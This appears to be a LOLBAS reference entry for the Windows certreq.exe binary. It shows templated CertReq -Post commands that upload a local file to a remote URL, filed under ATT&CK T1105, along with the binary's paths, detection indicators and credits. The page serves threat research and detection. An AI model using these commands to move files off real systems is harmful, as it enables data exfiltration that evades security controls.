LOLBAS01 / TRADECRAFT
2 examplesCommand reference
Download1
EXAMPLE 01T1105
Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).
COMMAND
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}Upload1
EXAMPLE 01T1105
Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.
COMMAND
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}02 / ON DISK
Known paths
C:\Windows\System32\certreq.exeC:\Windows\SysWOW64\certreq.exe03 / DEFENSIVE INTELLIGENCE
1 resourcesDetection & indicators
Indicators & detection notes
- IOC
certreq creates new files
- IOC
certreq makes POST requests
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
David Middlehurst@dtmsecurity